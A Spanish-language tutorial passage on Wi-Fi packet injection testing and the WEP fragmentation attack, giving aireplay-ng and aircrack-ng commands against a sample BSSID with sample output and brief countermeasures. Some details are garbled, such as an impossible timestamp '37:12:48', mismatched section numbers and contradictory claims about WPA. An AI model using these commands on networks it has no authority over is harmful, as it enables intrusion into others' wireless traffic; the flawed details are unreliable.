9. Prueba de Inyección de Paquetes

---

8. Prueba de Inyección de Paquetes

8.1 ¿Qué es la inyección de paquetes?

En modo monitor, tu adaptador no solo puede **escuchar** tramas, sino también **inyectar** paquetes arbitrarios al aire. Esto permite:

- Testear la **capacidad de un chipset** para enviar tramas crudas.
- Realizar **ataques activos** (deauth, fake auth, fragmentación, etc.).
- Comprobar si un AP acepta paquetes forjados.

8.2 ¿Cómo funciona internamente?

- El driver del chipset expone una **interfaz raw** que permite modificar todos los campos de la trama 802.11.
- La tarjeta construye la señal PHY (modulación, preámbulo, CRC) basada en esa trama cruda.
- Si la capa MAC del AP/cliente acepta la trama (direcciones, secuencia, FCS correcto), la procesa como legítima.

8.3 Herramienta: `aireplay-ng -9`

Parte de **aircrack-ng**, el modo `-9` es un **test de inyección**:

```
sudo aireplay-ng --test wlan0mon
```

ó

```
sudo aireplay-ng -9 wlan0mon
```

Salida típica:

```
17:30:45  Trying broadcast probe requests...
17:30:45  Injection is working!
17:30:45  Found 1 APs in scan, scanning for clients...
17:30:45  1 clients found, sending decrypt requests...
17:30:45  Decryption test: IV reuse seen! This is good.
```

- **“Injection is working!”** → tu adaptador puede transmitir tramas activas.
- **“IV reuse seen!”** → indica que el AP respondió con paquetes usando IVs repetidos, lo cual valida inyección.

Si ves errores (“Failed… no packet received”), el chipset o el driver no soportan inyección.

8.4 Ejemplo práctico

1. **Poner en modo monitor**:

   ```
   sudo airmon-ng start wlan0
   ```

2. **Ejecutar test de inyección**:

   ```
   sudo aireplay-ng -9 wlan0mon
   ```

3. **Interpretar**:
   - Si ves “Injection is working!”, ya podés usar aireplay-ng para ataques deauth, fakeauth, etc.
   - Si no, cambia de puerto USB (3.0) o revisa módulos (8814au) y headers.

---

9. Ataque de Fragmentación

9.1 ¿Qué es el ataque de fragmentación?

El **ataque de fragmentación** aprovecha la capacidad de los AP/cliente para **reensamblar tramas fragmentadas**. La idea es:

- Construir un paquete fragmentado con payload controlado.
- Inyectar fragmentos en el aire.
- El receptor reensambla el paquete y, si el primer fragmento es una trama legal (por ejemplo, un ARP), el AP puede responder revelando un IV útil para descifrar el cifrado.

Este método permite, sin necesidad de handshake, obtener datos para romper cifrado WEP o WPA.

9.2 Protocolo de fragmentación 802.11

- Cada trama 802.11 puede dividirse en **varios fragmentos** si supera el **MTU**.
- Cada fragmento lleva en su cabecera un **número de secuencia** y un **campo Fragment Number**.
- El receptor reensambla hasta que recibe el fragmento final (flag “More Fragments” = 0).

9.3 Herramienta: `aireplay-ng -5`

Modo `-5` de **aireplay-ng** realiza el ataque de fragmentación:

```
sudo aireplay-ng --fragment -b <BSSID> wlan0mon
```

ó

```
sudo aireplay-ng -5 -b <BSSID> wlan0mon
```

Flujo interno:

1. El script genera un **ARP request** válido como primer fragmento.
2. Inyecta repetidamente ese fragmento.
3. El AP responde con un **ARP response** fragmentado que contiene un IV en texto claro.
4. Con ese IV, puedes construir la **clave WEP** o usarlo para acelerar WPA (muy raro hoy en día).

Salida típica:

```
37:12:48  Trying packet fragmentation...
37:12:48  Injecting the first fragment...
37:12:48  Listening for response...
37:12:48  Got arp response #1, IV=01:02:03:04
37:12:48  Recovered IVs... starting WEP crack...
```

9.4 Ejemplo práctico completo

Supón que el AP WEP “LegacyNet” con BSSID `AA:BB:CC:DD:EE:FF` está en canal 6:

1. **Modo monitor**:

   ```
   sudo airmon-ng start wlan0
   ```

2. **Ataque de fragmentación**:

   ```
   sudo aireplay-ng -5 -b AA:BB:CC:DD:EE:FF wlan0mon
   ```

3. **Obtener IVs**:
   - Aireplay-ng inyecta un primer fragmento y espera respuestas.

4. **Crack WEP** (opcional):

   ```
   aircrack-ng -b AA:BB:CC:DD:EE:FF *.ivs
   ```

9.5 Limitaciones y contramedidas

- **Solo WEP**: WPA no fragmenta igual, así que este ataque es inútil para WPA2.
- **Protección 802.11w**: impide modificaciones de management/data frames.
- **IDS/IPS**: detectan ráfagas de fragmentos e inyección extraña.
